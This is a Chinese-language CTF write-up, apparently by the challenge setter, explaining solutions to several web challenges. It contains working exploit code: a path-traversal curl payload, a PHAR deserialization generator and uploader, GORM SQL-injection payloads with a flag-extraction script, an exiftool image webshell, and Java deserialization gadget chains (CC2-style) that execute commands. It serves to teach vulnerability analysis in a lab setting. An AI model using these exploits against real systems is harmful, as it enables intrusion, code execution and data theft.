GitZip
出这题的起因 : 平时出题人自己也会用 gitzip 这个浏览器插件来下载 GitHub 上的文件,有一天看了一下这个插件的官网,发现是开源的,又看了一下开源的源码,一眼丁真 任意文件读取
本题是直接给的一个 Github 仓库链接 想让新手克服一开始代码审计感到陌生的这一困难 其实只需要 git clone 下载下来代码,简单看一下路由处理部分,就能发现漏洞点了
此处代码存在任意文件读取(代码中不止这一个路由存在文件读取漏洞
1 2 3 4 5 6 7 8 9 10 11 app.get ("/:htmlname" , function (req, res ) { var name = req.params .htmlname ; var requestPath = path.resolve (__dirname, "../" , "views/" + name); if (fs.existsSync (requestPath)) { res.sendFile (requestPath); } else { res.status (404 ).send ("Not found" ); } });
从路由处传参,需要 url 编码,之后直接下载 /tmp/flag
即可
1 curl http://127.0.0.1:3000/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fflag
AutoUnserialize 本题直接给了一份 php 代码,仅仅考察 phar 反序列化这一知识点而已
使用如下 php 代码生成要上传上去的 phar 文件(重命名成了 exp.jpg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class command_test { public $command ; public function __construct ($command ) { $this ->command = $command ; } } $exp = new command_test ("system('cat /flag');" );$phar = new Phar ("exp.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."__HALT_COMPILER();" );$phar ->setMetadata ($exp );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();rename ("exp.phar" ,"exp.jpg" );
上传上去之后,再使用 phar 协议触发反序列化
1 2 3 4 5 6 7 8 9 import requeststarget = "http://127.0.0.1:12345/" files = {'file' :open ("exp.jpg" ,'rb' )} res = requests.post(url=target,files=files).text print (res)res = requests.get(url=target + "?img_file=phar:///var/www/html/check.jpg/test.txt" ).text print (res)
User Manager sql 注入 这题其实还有两个注入点,一个是 order by
,另一个是 delete
Order By 一般来说,order by 这个地方放的是字段名,字段名不需要引号包裹,所以预编译的时候也不会对这个地方做防御
可以插入分号,执行多条 sql 语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 r.GET("/users" , func (c *gin.Context) { var users []User orderBy := c.Query("order_by" ) if orderBy == "" { orderBy = "id asc" } db.Order(orderBy).Find(&users) for i := range users { users[i].Secret = "hidden www~~" } c.JSON(http.StatusOK, users) })
1 curl http://127.0.0.1:12345/users?order_by=id +asc%3bselect+secret+as+name+from+users
Delete delete 接口的代码写的不是很规范,应该需要对传入的 id 参数做 int 强转,然而这里却把一个 string 参数直接传进去了
1 2 3 4 5 6 7 8 9 r.DELETE("/users/:id" , func (c *gin.Context) { id := c.Param("id" ) if id == "1" { c.JSON(http.StatusOK, gin.H{"message" : "id != 1" }) } else { db.Delete(&User{}, id) c.JSON(http.StatusOK, gin.H{"message" : "User deleted" }) } })
调试发现,传入的参数居然是可以直接拼接到 Where
后面
一样使用分号分隔之后,执行多条 sql 语句
无需注入 在增加数据的时候传入 {'name':"114514", 'secret': 'W4terCTF{'}
可以自定义 secret
1 2 3 4 5 6 7 8 9 r.POST("/users" , func (c *gin.Context) { var newUser User if err := c.ShouldBindJSON(&newUser); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error" : err.Error()}) return } db.Create(&newUser) c.JSON(http.StatusOK, gin.H{"message" : "User added" }) })
另一个接口通过 order by secret
,根据自定义的 secret 如果比正确的 flag 大或者小,以此来二分判断 flag 的内容即可
二分脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsimport osimport jsonimport timeurl = "http://127.0.0.1:58336" userID = 1 flag = 'W4terCTF{' def add_user (flag ): global userID data = {"name" :os.urandom(8 ).hex (),"age" :114514 ,"secret" :flag} userID += 1 requests.post(url+"/users" ,json=data) def del_user (): global userID requests.delete(url+"/users/" +str (userID)) def get_user_list_first_id (): r = requests.get(url+"/users" ,params={"order_by" :"secret asc" }) return r.json()[0 ]['ID' ] while True : left = 32 right = 127 while left < right: mid = (left + right) // 2 char = chr (mid) add_user(flag + char) if get_user_list_first_id() == 1 : right = mid else : left = mid + 1 del_user() flag = flag+chr (left-1 ) print (flag) print (userID)
Png Server 首先,题目环境可以使用 php 来解析 jpg 文件
是因为 php-fpm.conf 里加入以下配置,导致 php 可以执行 .png/.jpg/gif
后缀的文件
1 echo "security.limit_extensions = .php .php3 .php4 .php5 .php7 .html .png .jpg .gif" >> /usr/local/etc/php-fpm.conf
其次,nginx 配置如下,.php 结尾则进行解析
1 2 3 4 5 location ~ \.php$ { include fastcgi_params; fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name ; fastcgi_pass 127.0.0.1:9000 ; }
那么,我们上传 png 文件后,在其后添加 /1.php 既可以成功解析了
然而,生成图片马可以使用如下工具,将 php 代码写入到 exif 信息中
1 exiftool -comment="<?php phpinfo(); ?>" waterdrop.png
彩蛋
打开题目看到的这一张图片
其实里面就是藏了一段 phpinfohttp://127.0.0.1:65343/uploads/waterdrop.png/.php
ASHBP
出题的起因 : 某天晚上看同学开源在 Github 上的作业提交平台项目,发现居然把公私钥文件放在了网站根目录下面,也就是说直接访问即可下载,然后进行伪造
预期 试了一下,发现 nginx 会自动拦截关于公私钥的下载信息,所以出题人给公私钥文件加了一层 base64(这回可以正常下载了,也算是一个给比赛选手的提示
1 2 3 # init.sh base64 /var/www/html/src/rsa.pem > /var/www/html/src/rsa_base64.pem base64 /var/www/html/src/rsa_pub.pem > /var/www/html/src/rsa_pub_base64.pem
将公钥下载下来,之后伪造出 cre 和 flag 的值,对 flag 进行读取
文件上传 其实这题也可以直接上传木马,代码中存在逻辑问题
checkfile
函数对上传的两个文件同时做后缀名检查 但是当检测到第一个文件是正常文件的时候直接 return true
导致第二个文件根本不会检查后缀名就上传上去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function checkfile ($allow_suffix ,$allow_size ) { for ($k =0 ;$k <NUM;$k ++){ $name = basename ($_FILES ['file' ]['name' ][$k ]); $allow =explode ("," ,$allow_suffix ); echo $xml ->file_suffix; if (!$_FILES ['file' ]['size' ][$k ]) { $res ="后端检测到第" .($k +1 )."个文件为空!" ; prtfront ($res ); return false ; } elseif (!get_file_suffix ($name ,$allow )){ $res ="后端检测到文件后缀非法!" ; prtfront ($res ); return false ; } elseif ($_FILES ['file' ]['size' ][$k ]>$allow_size ){ $res ="文件过大!" ; prtfront ($res ); return false ; } else { return true ; } } }
Just ReadObject
新手或许写过 Java,但是不是安全相关的一般都不会去了解 Java 反序列化这一漏洞 所以手动写了几个类,来让新手们学习 Java 反序列化原理之后,能够自己编写 Java 代码来解决这道题目
一开始还以为需要放 hint,后面发现根本不需要
可以直接参考 ysoserial 中 cc2 链子
两种打法
1 一个是 Template 动态类加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class Exp { public static void main (String[] args) throws Exception { Templates templates = new TemplatesImpl (); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodeField = c.getDeclaredField("_bytecodes" ); bytecodeField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("target/classes/evil.class" )); byte [][] codes = { code }; bytecodeField.set(templates,codes); Field tfactoryField = c.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); final W4terInvokerTransformer transformer = new W4terInvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new W4terTransformingComparator (transformer, new W4terComparator ())); queue.add(1 ); queue.add(1 ); setFieldValue(transformer, "iMethodName" , "newTransformer" ); Object[] queueArray = new Object [2 ]; queueArray[0 ] = templates; queueArray[1 ] = 1 ; setFieldValue(queue, "queue" , queueArray); serialize(queue); unserialize("ser.bin" ); } public static void setFieldValue (Object obj, String key, Object val) throws Exception { Field field ; field = obj.getClass().getDeclaredField(key); field.setAccessible(true ); field.set(obj,val); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("ser.bin" ))); oos.writeObject(obj); } public static void unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(Filename))); ois.readObject(); } }
evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("open -a Calculator" ); } catch (Exception e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } }
2 另一个是直接链式调用 transform
这里复用一下同学的 wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class Exp { public static void main (String[] args) throws Exception { W4terInvokerTransformer<Object, Object> test1 = (W4terInvokerTransformer<Object, Object>) W4terInvokerTransformer.invokerTransformer( "getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , null }); W4terInvokerTransformer<Object, Object> test2 = (W4terInvokerTransformer<Object, Object>) W4terInvokerTransformer.invokerTransformer("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }); W4terInvokerTransformer<Object, Object> test3 = (W4terInvokerTransformer<Object, Object>) W4terInvokerTransformer.invokerTransformer("exec" , new Class [] { String.class }, new Object [] { "open -a Calculator" }); W4terComparator comp = new W4terComparator (); W4terTransformingComparator<Object, Object> c3 = new W4terTransformingComparator <>(test3, comp); W4terTransformingComparator<Object, Object> c2 = new W4terTransformingComparator <>(test2, c3); W4terTransformingComparator<Object, Object> c1 = new W4terTransformingComparator <>(test1, c2); PriorityQueue<Object> pq = new PriorityQueue (2 ); setFieldValue(pq, "size" , 2 ); setFieldValue(pq, "comparator" , new W4terComparator ()); pq.add(Runtime.class); pq.add(Runtime.class); setFieldValue(pq, "comparator" , c1); serialize(pq); } public static void setFieldValue (Object obj, String key, Object val) throws Exception { Field field ; field = obj.getClass().getDeclaredField(key); field.setAccessible(true ); field.set(obj,val); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("ser.bin" ))); oos.writeObject(obj); } public static void unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(Filename))); Object obj = ois.readObject(); } }